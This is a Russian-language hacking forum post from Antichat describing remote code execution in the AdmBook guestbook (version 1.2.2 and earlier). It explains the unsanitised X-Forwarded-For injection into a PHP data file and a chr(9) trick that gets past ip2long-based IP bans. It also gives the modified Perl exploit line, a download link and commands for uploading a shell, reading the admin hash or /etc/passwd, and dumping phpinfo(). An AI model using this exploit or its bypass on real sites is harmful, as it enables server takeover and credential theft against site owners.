ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Исполнение произвольного кода в AdmBook<=1.2.2
  #1  
Старый 14.01.2008, 21:05
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию Исполнение произвольного кода в AdmBook<=1.2.2

1. Описание уязвимости.

Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например:

http://secunia.com/advisories/18930

Рабочий эксплоит можно утянуть отсюда:

http://www.milw0rm.com/exploits/1512

Одна проблема - уязвимость не юзается, когда в файле banned-ip-data.php присутствует
значение -1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение.

Рассмотрим подробно суть уязвимости.

Добавление сообщений в гостевую книгу осуществляется посредством скрипта write.php, а сама база сообщений хранится в файле content-data.php. Так, когда пользователь добавляет сообщение, в файле content-data.php появляются следующие строчки:

Код:
	$content[0]['ip'] = "127.0.0.1";
	$content[0]['host'] = "localhost";
	$content[0]['proxy'] = "127.0.0.1";
	$content[0]['name'] = "Sergey";
	$content[0]['url'] = "";
	$content[0]['mail'] = "sergey@micro.com";
	$content[0]['icq'] = "";
	$content[0]['message'] = "It is a wonderful site... Thank you!";
	$content[0]['time'] = "1200320295";
	$content[0]['admin-name'] = "";
	$content[0]['admin-message'] = "";
	$content[0]['admin-time'] = "";
Нас интересует переменная $content[0]['ip']. Посмотрим, как она формируется. В файле write.php переменной $ip присваивается значение переменной окружения HTTP_X_FORWARDED_FOR:

Код:
$ip = getenv("HTTP_X_FORWARDED_FOR");
Затем, если функция checkBannedIp возвращает TRUE, наше сообщение успешно добавляется в гостевую книгу, иначе идём лесом.

Код:
$checkIp = checkBannedIp($ip, $login, $password);
if (!$checkIp || !$checkProxyIp)
	{
		$error .= "This 'ip' or 'proxy' is banned<br>";
	}
Функция checkBannedIp находится в файле lib.php и осуществляет проверку валидности переданного нами айпишника при помощи функции ip2long:

Код:
            include($bannedData);
			$ip = ip2long($ip);
			if (!isset($banned))
			{
				$banned = array();
			}
			if (in_array ($ip, $banned))
			{
				$check = false;
			}
			return $check;
т.е. если наш айпишник обнаружен в файлике banned-ip-data.php, то мы, как уже было отмечено выше, идём лесом. Функция ip2long возвращает наш ip-адрес в long-формате,
либо -1, если переданный нами HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение -1 в файле banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда -1 в файле banned-ip-data.php отсутствует, мы можем передавать в поле HTTP_X_FORWARDED_FOR произвольный код, когда -1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции ip2long:

http://securityvulns.ru/Ndocument693.html

Т.е. перед произвольным кодом в поле HTTP_X_FORWARDED_FOR, нам придется добавить, например, chr(9), тогда ip2long вернет валидное и отличное от -1 значение. Применительно к типовому эксплоиту, это будет выглядеть так:

Код:
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
заменяем на

Код:
print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n";
Доработанную версию эксплоита ты можешь взять здесь:

http://www.itsme7.pochta.ru/admbook.pl


2. Использование уязвимости.

В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё OPERATION_MODE (режим выполнения). Значение OPERATION_MODE равное 0 выполняет phpinfo(), 1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл.
Шелл загружается так:

Код:
perl admbook_122_xpl.pl 998 localhost /admbook/ ls -al
Если не загружается, то здесь возможны несколько ситуаций. Самый попсовый случай - это когда эксплойтовские сообщения в гостевую даже не добавляются. Тут мы, как правило, отдыхаем, хотя и возможны варианты (например, гостевая защищена от спама картинкой - можно что-то ловить). Затем, бывает ещё, что сообщение добавляется, а шелла всё равно нету. Тут скорее всего, для нашего юзера просто запрещены команды а-ля system(), passthru() и т.д. Возможно, эксплоит нам об этом честно сообщит, хотя не факт. Здесь можно попробовать просмотреть содержимое файлов на серваке, как минимум settings-data.php, где лежит админский хеш, но при некотором везении это может оказаться /etc/passwd или файлы других пользователей.

Код:
perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.php
Если уж и здесь никак, возможно повезёт с утешительными призом просмотром phpinfo(). :-)

Код:
perl admbook_122_xpl.pl 0 localhost /admbook/

Последний раз редактировалось otmorozok428; 14.01.2008 в 21:15..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Секреты Gsm КероСиН Сотовый фрикинг 17 30.08.2007 21:01
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
Внедрение Sql кода с завязанными глазами, часть 2 k00p3r Чужие Статьи 0 12.06.2005 20:45
Удаленное выполнение произвольного PHP кода в Zeroboard Red Форумы 7 14.01.2005 03:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ